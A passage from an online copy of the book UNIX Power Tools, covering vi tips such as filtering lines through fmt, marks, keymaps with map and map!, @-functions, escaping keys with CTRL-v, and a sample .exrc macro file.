"afile" 47 lines, 1943 characters
In the beginning, there was a cursor.
The screen was blank and without characters.
In the end, there was a cursor.

Typing cw puts you into vi's text-input mode to change the word beginning to end. Press ESC to go back to command mode.

This might take some getting used to. But once you learn the idea behind open mode, it can be handy to know.

- JP

Previous: 30.35 Out of Temporary Space? Use Another Directory | UNIX Power Tools | Next: 30.37 Neatening Lines
30.35 Out of Temporary Space? Use Another Directory | Book Index | 30.37 Neatening Lines
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 30] 30.37 Neatening Lines

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 30.36 The ex Open Mode Can Be Handy Chapter 30
vi Tips and Tricks 		Next: 30.38 Finding Your Place with Undo

30.37 Neatening Lines

Have you made edits that left some of your lines too short or long? The fmt (35.2) utility can clean that up. Here's an example. Let's say you're editing a file (email message, whatever) in vi and the lines aren't even. They look like this:

This file is a mess
with some short lines
and some lines that are too long - like this one, which goes on and on for quite a while and etc.
Let's see what 'fmt' does with it.

You put your cursor on the first line and type (in command mode):

5!!
5!!fmt

which means " filter (30.22) 5 lines through fmt." Then the lines will look like this:

This file is a mess with some short lines and some lines that are too
long - like this one, which goes on and on for quite a while and etc.
Let's see what 'fmt' does with it.

This is handiest for formatting paragraphs. Put your cursor on the first line of the paragraph and type (in command mode):

!}fmt

If you don't have any text in your file that needs to be kept as is, you can neaten the whole file at once by typing:

%
:%!fmt

There are a few different versions of fmt, some fancier than others. Most of the articles in the chapter about editing-related tools can be handy too. For example, recomment (35.4) reformats program comment blocks. cut (35.14) can remove columns, fields, or shorten lines; tr (35.11) can do other transformations. To neaten columns, try filtering through with the setup in article 35.22. In general, if the utility will read its standard input and write converted text to its standard output, you can use the utility as a vi filter.

- JP

Previous: 30.36 The ex Open Mode Can Be Handy | UNIX Power Tools | Next: 30.38 Finding Your Place with Undo
30.36 The ex Open Mode Can Be Handy | Book Index | 30.38 Finding Your Place with Undo
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 30] 30.38 Finding Your Place with Undo

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 30.37 Neatening Lines Chapter 30
vi Tips and Tricks 		Next: 31. Creating Custom Commands in vi

30.38 Finding Your Place with Undo

Often, you're editing one part of a file, and need to go to another point to look at something. How do you get back?

You can mark your place with the m command. In command mode, type m followed by any letter. (We'll use x in the example.) Here are the commands to do the job:

mx

Marks current position with x (x can be any letter).

'x

Moves cursor to first character of line marked by x.

`x

Moves cursor to character marked by x.

``

Returns to exact position of previous mark or context after a move.

''

Returns to the beginning of the line of the previous mark or context.

But I often find it just as easy to simply type u to undo my last edit. That pops me right back to the place where I was editing. Then I type u again to restore the edit. (I still use m if I want to mark more than one place.)

- TOR

Previous: 30.37 Neatening Lines | UNIX Power Tools | Next: 31. Creating Custom Commands in vi
30.37 Neatening Lines | Book Index | 31. Creating Custom Commands in vi
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 31] Creating Custom Commands in vi

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 30.38 Finding Your Place with Undo Chapter 31 Next: 31.2 Save Time and Typing with the vi map Commands

31. Creating Custom Commands in vi

Contents:
Why Type More Than You Have To?
Save Time and Typing with the vi map Commands
What You Lose When You Use map!
vi @-Functions
Keymaps for Pasting into a Window Running vi
Protecting Keys from Interpretation by ex
Maps for Repeated Edits
More Examples of Mapping Keys in vi
Good Stuff for Your .exrc File
Repeating a vi Keymap
Typing in Uppercase Without CAPS LOCK
Text-Input Mode Cursor Motion with No Arrow Keys
Making Cursor Keys Work in vi Text-input Mode
Don't Lose Important Functions with vi Maps: Use noremap
Fooling vi into Allowing Complex Macros
vi Macro for Splitting Long Lines

31.1 Why Type More Than You Have To?

Keymapping - storing complex command sequences so that they can be executed with a single keystroke - is one of my favorite timesavers. There's nothing like typing one key and watching a whole string of work take place. For repetitive edits (e.g., font changes) it's a real wrist-saver, too. In this chapter we show you how to:

  • Save time by mapping keys: articles 31.2, 31.4, 31.7, and 31.8.

  • Know when to map a key and when not to: article 31.3.

  • Map keys like ESC and RETURN: article 31.6.

  • Move around the file without leaving text-input mode: articles 31.12 and 31.13.

  • Protect the text you're pasting in from another window: article 31.5.

  • Put custom commands in your .exrc file: articles 31.9, 31.10, and 31.14.

  • Break long lines of text: article 31.16.

- EK

Previous: 30.38 Finding Your Place with Undo | UNIX Power Tools | Next: 31.2 Save Time and Typing with the vi map Commands
30.38 Finding Your Place with Undo | Book Index | 31.2 Save Time and Typing with the vi map Commands
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 31] 31.2 Save Time and Typing with the vi map Commands

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 31.1 Why Type More Than You Have To? Chapter 31
Creating Custom Commands in vi 		Next: 31.3 What You Lose When You Use map!

31.2 Save Time and Typing with the vi map Commands

While you're editing, you may find that you are using a command sequence frequently, or you may occasionally use a very complex command sequence. To save yourself keystrokes, or the time it takes to remember the sequence, assign the sequence to an unused key by using the map and map! commands.

31.2.1 Command Mode Maps

The map command acts a lot like ab (30.31) except that you define a macro for command mode instead of text-input mode. (The map! command works during text-input mode. See below.)

map x sequence

Define x as a sequence of editing commands.

unmap x

Disable the x definition.

map

List the characters that are currently mapped.

As with other ex-mode commands, these map commands can be saved in your .exrc file (4.9)- or typed in after a colon (:). If you want a keymap to use only during this editing session, you might find that vi @-functions (31.4) are easier to create and use. The map commands are best for keymaps that you save in your .exrc file and use during many editing sessions.

Before you can start creating your own maps, you need to know the keys not used in command mode that are available for user-defined commands:

Letters:

g K q V v

Control keys:

^A ^K ^O ^T ^W ^X

Symbols:

_ * \ = (Note: the = is used by vi if Lisp mode is set.)

With maps you can create simple or complex command sequences. As a simple example, you could define a command to reverse the order of words. In vi, with the cursor as shown:

you can _the scroll page

the sequence to put the after scroll would be dwwP: delete word, dw; move to the next word, w; put the deleted word before that word, P. (You can also use W instead of w.) Saving this sequence:

map v dwwP

enables you to reverse the order of two words at any time in the editing session with the single keystroke v.

You can also map certain multiple-character sequences. Start the map with one of the symbols in the list above. For example, to map the keystrokes *s to put single quotes around a word ('word'), and *d to use double quotes ("word"):

^[
map *s Ea'^[Bi'^[
map *d Ea"^[Bi"^[

Now you'll be able to make hundreds of key maps (though your version of vi probably has a limit). Article 31.9 has lots of examples.

You may also be able to associate map sequences with your terminal's function keys if your termcap or terminfo entry (5.2) defines those keys. For example, to make function key F1 transpose words:

map #1 dwelp

A final note: map assignments are not really limited to unused keys. You can map keys that are defined as other vi commands, but then the key's original meaning is inaccessible. But this is probably okay if the key is tied to a command that you rarely use. There's more information in article 31.14 about the noremap option.

31.2.2 Text-Input Mode Maps

The map! command works like map, but map! works during text-input mode. You actually set the map! during command mode, in the same way as a plain map: at a colon (:) prompt, type map! followed by a space and the key(s) that activate the map; then type a space and the text that the text-input mode map stands for. These text-input mode maps are a lot like abbreviations (30.31); the difference is that map! lets you switch from text-input mode to command mode, execute commands, then go back to text-input mode. To go to command mode during a map!, you'll need to put an ESC key in the value of the map by typing CTRL-v and then ESC (31.6). After your map! does whatever in command mode, it can re-enter text-input mode with the usual commands a, i, and so on.

Let's say you normally never type the caret (^) key during input mode. When you're typing along, as you realize that what you're typing is important, you want to press the caret key. Then, vi should open a line above and insert the phrase "THIS IS IMPORTANT:". Finally, vi should return you to text-input mode at the end of the line where you pressed the caret key. To do that, go to command mode and enter the following map! command. The first ^ comes from pressing the caret key. Then you'll see two places with ^[; that's made by pressing CTRL-v followed by the ESC key. Finish the map by pressing RETURN:

:map! ^ ^[OTHIS IS IMPORTANT:^[jA

What does that do? It executes the same vi commands you'd use to add those three words yourself, manually. During text-input mode, typing a caret (^) will:

  1. Do ESC to go to command mode,

  2. Use O to open a new line above (in text-input mode),

  3. Enter the text THIS IS IMPORTANT:

  4. Do another ESC to go back to command mode,

  5. Do j to go down a line (to the line where you started), and

  6. Do A to put you at the end of the line, in text-input mode.

The trick is to use map! only to redefine keys you'll never use for anything else during text-input mode. To temporarily disable a text-input mode map, press CTRL-v before the key. For example, to put a real caret into your file, type [CTRL-v] [^] To disable an input-mode map for the rest of your vi session, type :unmap! followed by the character(s) that activate the map.

A more common example is mapping your keyboard's arrow or function keys to do something during text-input mode. These keys send a special series of characters. Normally, without a map! defined for these keys, the characters they send will be put into your editor buffer - just as if you'd typed the characters they make, yourself, one by one. For instance, my left arrow key sends the characters ESC, then [ (left bracket), then D. Without an text-input mode map! defined for that three-character sequence, vi will be hopelessly confused [1] if I press that arrow key. Many UNIX developers have added text-input mode maps for arrow keys. You can see them when you list all your text-input mode maps by typing :map! by itself, with nothing after:

[1] Actually, the ESC will switch vi back to command mode. The first [ will make vi think you're about to type the section-motion command [[, so the following D will make vi beep. Ugly, eh?

up      ^[[A    ^[ka
down    ^[[B    ^[ja
left    ^[[D    ^[hi
right   ^[[C    ^[la
^       ^       ^[OTHIS IS IMPORTANT:^[jA

Article 31.3 lists some problems with map!.

- JP, DG, LL

Previous: 31.1 Why Type More Than You Have To? | UNIX Power Tools | Next: 31.3 What You Lose When You Use map!
31.1 Why Type More Than You Have To? | Book Index | 31.3 What You Lose When You Use map!
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 31] 31.3 What You Lose When You Use map!

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 31.2 Save Time and Typing with the vi map Commands Chapter 31
Creating Custom Commands in vi 		Next: 31.4 vi @-Functions

31.3 What You Lose When You Use map!

Back in the old days (when bread cost five cents and my grandfather was just a boy...) a terminal's arrow keys didn't work during vi text-input mode. To move around in the file, you pressed ESC and used command-mode commands like 5k and 4w. Since then, lots of vendors and users have modified vi so that you can use arrow keys during text-input mode. In fact, we show you how to do it yourself in articles 31.2 and 31.13. These days, lots of folks think the newfangled way that vi works is the right way. Here are some reasons to leave the arrow keys alone and do it the old way instead:

  • In most cases, the u (undo) command will be useless after text-input mode because the arrow keymap does several hidden commands. The only "undo" command that will do much good is U-it undoes all changes on the current line, and it doesn't work if you've moved off the line since you made the change you want to undo.

  • Beginners can get confused by this. They need to learn that vi is a moded editor, that you enter text in text-input mode and make changes in command mode. Movement through the file is with commands.

    When people start using vi and they find that some motion commands (the cursor keys) work in text-input mode, vi seems inconsistent.

  • If your map! runs commands that start with an ESC (and it almost always will), your ESC key may work more slowly. That's because every time you press the ESC key, vi will wait one second (or so) to be sure that the ESC is just an ESC alone and not the beginning of a map!ped sequence. Some vendors have changed this, though.

    The fast alternative is to press ESC twice. That rings the terminal bell, though.

- JP

Previous: 31.2 Save Time and Typing with the vi map Commands | UNIX Power Tools | Next: 31.4 vi @-Functions
31.2 Save Time and Typing with the vi map Commands | Book Index | 31.4 vi @-Functions
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 31] 31.4 vi @-Functions

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 31.3 What You Lose When You Use map! Chapter 31
Creating Custom Commands in vi 		Next: 31.5 Keymaps for Pasting into a Window Running vi

31.4 vi @-Functions

The vi map command (31.2) lets you define keymaps: short names for a series of one or more other commands. You can enter :map to define a keymap while you're editing a file with vi. But if you make a mistake, you usually have to re-enter the whole :map command to correct the problem.

@-functions (say "at-functions") give you another way to define complex commands. You can define 26 @-functions named @a through @z. They're stored in named buffers (30.5). So if you're also using named buffers for copying and pasting text, you'll need to share them with your @-functions.

31.4.1 Defining and Using Simple @-Functions

To define an @-function:

  1. Enter the command(s) you want to execute onto one or more lines of the file you're editing.

  2. Yank or delete the line(s) into a named buffer with a command like "ay$ or "bD.

  3. To use the function, type a command like @a or @b. You can repeat the function by typing @@ or a dot (.). Use u or U to undo the effects of the @-function.

Here's an example. You're editing a long HTML file with lines like these:

<STRONG>Some heading here</STRONG>
<STRONG>Another heading here</STRONG>

When you see one of those lines, you need to change the STRONGs to either H3 or H4. A global substitution with :%s won't do the job because some lines need H3 and others need H4; you have to decide line-by-line as you work through the file. So you define the function @a to change a line to H3, and @b to change to H4.

To design an @-function, start by thinking how you'd make the changes by hand. You'd probably move to the start of the line with 0, move to the right one character with l, type cw to change the word STRONG, and type in H3 (or H4). Then press ESC to return to command mode. Go to the end of the line with $, move to the character after the slash with T/, then change the second STRONG the way you fixed the first one.

To define the function, open a new empty line of your file (go into text-input mode). Then type the keystrokes that will make the H3 changes; type CTRL-v before each ESC or RETURN (31.6). When you're done, press ESC again to go to command mode. Because the commands for the H4 change are similar, the easiest way to make them is by copying and pasting the line for H3 (by typing yy and p)-then edit the copy. The pair of command lines should look like this (where ^[ stands for the [CTRL-v] [ESC] keys):

0lcwH3^[$T/cwH3^[
0lcwH4^[$T/cwH4^[

Move to the start of the first line and delete it into the a buffer by typing "aD. Go to the next line and type "bD. (This will leave two empty lines; delete them with dd if you'd like.) Now, when you type @a, it will execute the commands to change a line to H3; typing @b on a line will change it to have H4. Move through your file (maybe with a search: /STRONG ... n ...), typing @a or @b as you go. Or use @@ to make the same change you made on a previous line.

31.4.2 Combining @-Functions

An @-function can execute other @-functions. For example, here are four lines ready for storing as @a through @d:

0l@c$T/@c   ...becomes @a
0l@d$T/@d   ...becomes @b
cwH3^[   ...becomes @c
cwH4^[   ...becomes @d

See that the definition of @a has @c in it twice? When you execute @a, it will do 0l to move to the second character on the line, then do @c to change the word to H3, move to the end of the line and use @c again. Calling one @-function from another can save re-typing repetitive commands.

A disadvantage is that @@ won't always work as you might expect. If you type @a to make a change in one place, then move somewhere else and type @@, the @@ will do what @c does (instead of what you might have wanted, @a). That's because the @a function finishes by doing a @c.

31.4.3 Reusing a Definition

You don't have to delete the definition line into a buffer with dd. If you think you might need to fine-tune the command, you can yank (copy) it into a buffer with a command like "ay$. Then, if you need to revise the command, re-edit the line and type "ay$ to put the revised version into the buffer. Or use "by$ to copy the revised line into another buffer.

31.4.4 Newlines in an @-Function

Stored @-functions can span multiple lines. For example, if you delete the following four lines with "z4dd, typing @z will open a new line below (o) and insert four new lines of text:

oThis is the new line one.
This is the new line two.
This is the third line.
This is the fourth.^[

After you execute the function with @z, your cursor will move to the line below the new fourth line. Why? Because you included the newlines (RETURNs) in the buffer; each RETURN moves down a line - including the RETURN after the last ESC.

If you don't want that, there are two ways to fix it:

  • Delete the first three lines, including the newlines, into the buffer by typing "z3dd. Delete the fourth line, without its newline, and append it to the buffer by typing "ZD. (An uppercase letter like Z appends to a named buffer. D deletes all of a line except the newline.)

    Some versions of vi will delete four lines, without the last newline, when you use "z4D.

  • Type all of the text onto a single line; embed the newlines in that line by typing [CTRL-v] [RETURN] between each finished line. It'll look like this:

    oThis is the new line one.^MThis is the new line two.^MThis is the new...

    Delete that long line into your buffer with "zD. Because D doesn't delete the final newline, your cursor will stay at the end of the fourth new line after you execute the @z.

- JP

Previous: 31.3 What You Lose When You Use map! | UNIX Power Tools | Next: 31.5 Keymaps for Pasting into a Window Running vi
31.3 What You Lose When You Use map! | Book Index | 31.5 Keymaps for Pasting into a Window Running vi
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 31] 31.5 Keymaps for Pasting into a Window Running vi

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 31.4 vi @-Functions Chapter 31
Creating Custom Commands in vi 		Next: 31.6 Protecting Keys from Interpretation by ex

31.5 Keymaps for Pasting into a Window Running vi

I usually run vi inside windows on a system like X or the Macintosh. The window systems can copy and paste text between windows. Pasting into a vi window may be tricky if you use vi options like wrapmargin or autoindent-the text you paste can be rearranged or indented in weird ways.

I've fixed that with the keymaps below. If I'm pasting in text that should be copied exactly with no changes, I go into text-input mode and type CTRL-x. That shuts off autoindent (noai) and the wrapmargin (wm=0). When I'm done pasting, I type CTRL-n while I'm still in text-input mode.

A different kind of "pasted" input is with CTRL-r. It starts the fmt (35.2) utility to reformat and clean up lines while I'm pasting them. To use it, go to text-input mode and type CTRL-r. Then paste the text-fmt will read it but not display it. Press RETURN, then CTRL-d to end the standard input to fmt. The reformatted text will be read into your vi buffer.

^[

" Set 'exact' input mode for pasting exactly what is entered:
map! ^X ^[:se noai wm=0^Ma
" Set 'normal' input mode with usual autoindent and wrapmargin:

map! ^N ^[:se ai wm=8^Ma
" Read pasted text, clean up lines with fmt. Type CTRL-d when done:
map! ^R ^[:r!fmt^M

Note that some window systems convert TAB characters to spaces when you copy and paste. If you want the TABs back, try a filter-through (30.22) with unexpand (24.6).

- JP

Previous: 31.4 vi @-Functions | UNIX Power Tools | Next: 31.6 Protecting Keys from Interpretation by ex
31.4 vi @-Functions | Book Index | 31.6 Protecting Keys from Interpretation by ex
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 31] 31.6 Protecting Keys from Interpretation by ex

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 31.5 Keymaps for Pasting into a Window Running vi Chapter 31
Creating Custom Commands in vi 		Next: 31.7 Maps for Repeated Edits

31.6 Protecting Keys from Interpretation by ex

Note that when defining a map, you cannot simply type certain keys, such as RETURN, ESC, BACKSPACE, and DELETE as part of the command to be mapped, because these keys already have meaning within ex. If you want to include one of these keys as part of the command sequence, you must escape the normal meaning by preceding the key with ^V ( CTRL-v). A carriage return after CTRL-v appears as ^M, escape as ^[, backspace as ^H, and so on.

On the other hand, if you want to use a control character as the character to be mapped, in most cases all you have to do is hold down the CTRL key and press the letter key at the same time. So, for example, all you need to do in order to map ^A (CTRL-a) is to type:

:map [CTRL-a] sequence

There are, however, a few other control characters that must be escaped with a ^V. One is ^T. The others are:

  • The characters that your account uses for erasing parts of the input you type at a command line, ^W for erasing words and ^U for erasing lines (see article 9.2).

  • The characters for interrupting jobs (38.9) and stopping jobs (12.8).

So, for example, if you want to map ^T, you must type:

:map [CTRL-v] [CTRL-t] sequence

The use of CTRL-v applies to any ex command, not just a map command. This means that you can type a carriage return in an abbreviation (30.31) or a substitution command. For example, the abbreviation:

:ab 123 one^Mtwo^Mthree

expands to this:

one
two
three

(The sequence [CTRL-v] [RETURN] is shown as it appears on your screen, ^M.)

You can also add lines globally at certain locations. The command:

:g/^Section/s//As you recall, in^M&/

inserts a phrase on a separate line before any line beginning with the word Section. The & restores the search pattern.

The vertical bar (|) is used as a separator of multiple ex commands; it's especially difficult to quote. Because a map is interpreted when it's stored and again when it's used, you need enough CTRL-v characters to protect the vertical bar from each interpretation. You also need to protect stored CTRL-v characters by adding a CTRL-v before each one! The worst case is a text-input mode map (map! (31.2))-it needs three CTRL-v characters, which means you need to type six CTRL-v characters before you type the vertical bar. For example, the following map will make your function key F1 (31.2) insert the string {x|y}:

map! #1 {x^V^V^V|y}

If you ask for a list of text-input mode maps, you should see a single stored CTRL-v:

:map!
f1  ^[OP   {x^V|y}

- LL, DG, JP from O'Reilly & Associates' Learning the vi Editor, Chapter 7

Previous: 31.5 Keymaps for Pasting into a Window Running vi | UNIX Power Tools | Next: 31.7 Maps for Repeated Edits
31.5 Keymaps for Pasting into a Window Running vi | Book Index | 31.7 Maps for Repeated Edits
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 31] 31.7 Maps for Repeated Edits

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 31.6 Protecting Keys from Interpretation by ex Chapter 31
Creating Custom Commands in vi 		Next: 31.8 More Examples of Mapping Keys in vi

31.7 Maps for Repeated Edits

[Another way to do this is with @-functions (31.4). -JP]

Not every keymap is something you want to save in your .exrc file. Some maps are handy just because you have to do a repetitive series of edits. Developing a complex map to repeat your edits can save more time than it takes. For example, assume that you have a glossary with entries like this:

map - an ex command which allows you to associate
a complex command sequence with a single key.

You want to convert this glossary list to nroff (43.13) format, so that it looks like:

.IP "map" 10n
An ex command which allows you to associate
a complex command sequence with a single key.

The best way to define a complex map is to do the edit once manually, writing down each keystroke that you must type. Then re-create these keystrokes as a map. You want to:

  1. Insert the ms macro for an indented paragraph (.IP) at the beginning of the line. Insert the first quotation mark as well (I.IP <">).

  2. Press ESC to terminate text-input mode.

  3. Move to the end of the first word (e) and add a second quotation mark, followed by a space and the size of the indent (a<"> 10n).

  4. Press RETURN to insert a new line.

  5. Press ESC to terminate text-input mode.

  6. Remove the hyphen and two surrounding spaces (3x) and capitalize the next word (~).

That's quite an editing chore if you have to repeat it more than a few times. With map you can save the entire sequence so that it can be re-executed with a single keystroke:

map g I.IP "^[ea" 10n^M^[3x~

(To set that option during a vi session, type a colon (:) first.) Note that you have to "quote" both the ESC and RETURN characters with CTRL-v (31.6). ^[ is the sequence that appears when you type [CTRL-v] followed by [ESC] ^M is the sequence shown when you type [CTRL-v] [RETURN].

Now, simply typing g will perform the entire series of edits. At a slow data rate you can actually see the edits happening individually. At a fast data rate it will seem to happen by magic.

Don't be discouraged if your first attempt at keymapping fails. A small error in defining the map can give very different results from the ones you expect. Type u to undo the edit, and try again.

[I like to write a keymap in a temporary file and edit it there until I get it right. For instance, I write my buffer and type :e temp.so to open the temporary file temp.so. I make the keymaps, one per line - without a colon (:) first. I write this map file (:w), then read it in to the editor (:so  % (30.4)). If I don't get an error, I switch to the original file (:e  # (30.4)) and try the map. Then I usually go back to the map file (:e#) again, fix the mistake :-), and repeat the process until I get what I wanted. -JP ]

- TOR from O'Reilly & Associates' Learning the vi Editor, Chapter 7

Previous: 31.6 Protecting Keys from Interpretation by ex | UNIX Power Tools | Next: 31.8 More Examples of Mapping Keys in vi
31.6 Protecting Keys from Interpretation by ex | Book Index | 31.8 More Examples of Mapping Keys in vi
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 31] 31.8 More Examples of Mapping Keys in vi

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 31.7 Maps for Repeated Edits Chapter 31
Creating Custom Commands in vi 		Next: 31.9 Good Stuff for Your .exrc File

31.8 More Examples of Mapping Keys in vi

The examples that follow will give you an idea of the clever shortcuts possible when defining keyboard maps.

  1. Add text whenever you move to the end of a word:

    map e ea

    Most of the time, the only reason you want to move to the end of a word is to add text. This map sequence puts you in text-input mode automatically. Note that the mapped key, e, has meaning in vi. You're allowed to map a key that is already used by vi, but the key's normal function will be unavailable as long as the map is in effect. This isn't so bad in this case, since the E command is often identical to e.

    In the remaining examples, we assume that e has been mapped to ea.

  2. Save a file and edit the next one in a series (30.4):

    map q :w^M:n^M

    Notice that you can map keys to ex commands, but be sure to finish each ex command with a RETURN. This sequence makes it easy to move from one file to the next and is useful when you've opened many short files with one vi command. Mapping the letter q helps you remember that the sequence is similar to a "quit."

  3. Put troff emboldening codes (\fB and \fP) around a word:

    map v i\fB^[e\fP^[

    This sequence assumes that the cursor is at the beginning of the word. First, you enter text-input mode, then you type the code for bold font. (In map commands, you don't need to type two backslashes to produce one backslash.) Next, you return to command mode by typing a "quoted" (31.6) ESC. Finally, you append the closing troff code at the end of the word, and you return to command mode. Of course, the map is not limited to troff font codes. You can use it to enclose a word in parentheses or C comment characters, to name just a few applications.

    This example shows you that map sequences are allowed to contain other map commands (the e is already mapped to ea). The ability to use nested map sequences is controlled by vi's remap option (31.14), which is normally enabled.

  4. Put troff emboldening codes around a word, even when the cursor is not at the beginning of the word:

    map V lbi\fB^[e\fP^[

    This sequence is the same as the previous one, except that it uses lb to handle the additional task of positioning the cursor at the beginning of the word. The cursor might be in the middle of the word, so you want to move to the beginning with the b command.

    But if the cursor were already at the beginning of the word, the b command would move the cursor to the previous word instead. To guard against that case, type an l before moving back with b, so that the cursor never starts on the first letter of the word. You can define variations of this sequence by replacing the b with B and the e with Ea. In all cases though, the l command prevents this sequence from working if the cursor is at the end of a line. (To get around this, you could add a space to the end of the word before typing the keymap.)

- DG from O'Reilly & Associates' Learning the vi Editor, Chapter 7

Previous: 31.7 Maps for Repeated Edits | UNIX Power Tools | Next: 31.9 Good Stuff for Your .exrc File
31.7 Maps for Repeated Edits | Book Index | 31.9 Good Stuff for Your .exrc File
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 31] 31.9 Good Stuff for Your .exrc File

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 31.8 More Examples of Mapping Keys in vi Chapter 31
Creating Custom Commands in vi 		Next: 31.10 Repeating a vi Keymap

31.9 Good Stuff for Your .exrc File

[You probably won't want all of these keymaps and abbreviations. I always hate to re-map keys unless I really have to-I'd rather remember the real command instead of my special map that works only from my account. But not everyone agrees with me. And I've gotta admit that Tom has some pretty useful-looking customizations in this file. Wherever you see ^V in this printout, that means that you type CTRL-v to protect the next key from interpretation by ex (31.6). In that case, the ^V is not stored in the macro. If you see two of them (^V^V) that sequence will store an actual CTRL-v in the macro. The file on the CD-ROM is ready to use: it has the real control characters stored in it. Try it! One more note: if your fancy hacks to the .exrc file don't seem to be working, watch carefully for error messages just as vi starts, before it clears your screen. If you can't read them quickly enough, try the tricks in article 42.8. -JP]

:m

^^

\<..\>

"nDdd`n@n `n

:r!

cat /dev/tty

:%!

less

spell

fmt

expand

sed

ab

"   INPUT MACROS that i always want active
"
map! ^Z ^[:stop^M
"   so i can stop in input mode.  note that autowrite is set, so
map! ^A ^[:stop!^M
"   will stop me without writing.
"
map! ^K ^V^[O
"   lets me do kind of a negative carriage return in input mode.
map! ^V^[^B ^[bi
"   non-destructive ^W
map! ^V^[^F ^[Ea
"   and its inverse
"
"   EMACS Style ARROW MACROS
"
map! ^B ^V^[i
map! ^F ^V^[lli
map! ^A ^V^[I
map! ^E ^V^[A
"
"
"   EXCHANGE MACROS - for exchanging things
"
map v xp
"   exchange current char with next one in edit mode
map V :m+1^M
"   exchange current line with next one in edit mode
map! ^P ^V^[hxpa
"   exchange last typed char with penultimate one in insert mode
map = ^^
"   edit previously edited file
"
"   OTHER MACROS
"
map ^W :w^M
"   write out the file
"
map * i^M^[
"   split line
"
map ^A :stop!^M
"   unconditional stop
map Y y$
"   so Y is analogous to C and D
map ^R ddu
"   single-line redraw
map ^N :n +/^M
"   go to next file in arg list, same position
"   useful for "vi +/string file1 file2 file3"
"
"
"   META MACROS, all begin with meta-key '\' ; more later in file
"
map ^V^I  \
"   so can use both ^I [tab -JP ] and \ for meta-key
"
map \/ dePo/\<^V^[pA\>^V^["wdd@w
"   find current word, uses w buffer
"
"
"   INVERT WORD CASE - V is like W, v is like w.  3V is ok, only to EOL.
"   uses both register n and mark n.
map \v ywmno^[P:s/./\~/g^M0"nDdd`n@n
"   abc -> ABC    ABC->abc
map \V yWmno^[P:s/./\~/g^M0"nDdd`n@n
"   abc.xyz -> ABC.XYZ    ABC.XYZ->abc.xyz
"
"
"   EXECUTION MACROS - these two are for executing existing lines.
"
map \@ ^V^["mdd@m
"   execute line as a straight vi command (buffer m, use @@ to repeat)
map \! 0i:r!^V^["ndd@n
"   execute line as :r! command (buffer n, use @@ to repeat)
"
map \t :r!cat /dev/tty^M
"   read in stuff from X put buffer [in X window system -JP ]
"
"
"   BLOCK MACROS - these help when dealing with C blocks
"
map! ^O ^V^V^V{^M^V^V^V} ^V^[O^T
"   this will begin a block, leaving in insert mode
map! ^] ^V^[/^V^V^V}^V^Ma
"   and this will take you past its end, leaving in insert mode
"
"
"
"   LINT MACRO.  deletes all text from "lint output:" and below, (if any)
"   replacing it with lint output in pretty block comment form.  could
"   do sed work myself, but this is faster.
"
"   the map! is for subsequent map, not by people,
"   though /^Lo would make sense.
"   this is one of those famous time/space tradeoffs
"
map! ^Lo lint output
"
"   and now for the real work
map \l Go^M/* ^Lo^M^[/^Lo^MdG:w^Mo/*** ^Lo^[<<
:r!lint -u -lc %^V|sed 's/^/ *  /'^MGo***/^[N
"   [NOTE: We split the macro above onto two lines for printing.
"   Type it on one line in your .exrc file. -JP ]
"
"   indent this for me
"
map \i :%!indent -i4^M
"
"   COMMENTING MACROS - these are actually pretty amazing
"
"   from edit mode, this comments a line [for the C language -JP ]
map ^X ^i/* ^[A */^[^
"
"   and this undoes it
map ^Y :s/\/\* \([^*]*\) \*\//\1^[
"
"   this next one defeats vi's tail-recursion defeatism
"   called by 2 maps following this one
map! ^N ^V^[:unmap! ^V^V^M^[
"
"   while in insert mode, this will put you "inside" a comment
map! ^X ^V^[:map! ^V^V^M ^V^V^[a^V^V^V^No^[a /*  */^[hhi
"
"   while in edit mode, this begins a block comment - ^N to escape
map \c O/*^M *  ^M*/^[k:map! ^V^V^M ^V^V^M*  ^MA
"
"   and this is for adding more lines to a block comment - ^N to escape
map \o :map! ^V^V^M ^V^V^M*  ^MA
"
"
map _ i_^V^V^V^H^V^[ll
"   this character will now be underlined when less'd, rn'd, etc.
"
"   SPELL MACROS
"
map \s :w^MGo^V^[:$r!spell %^M
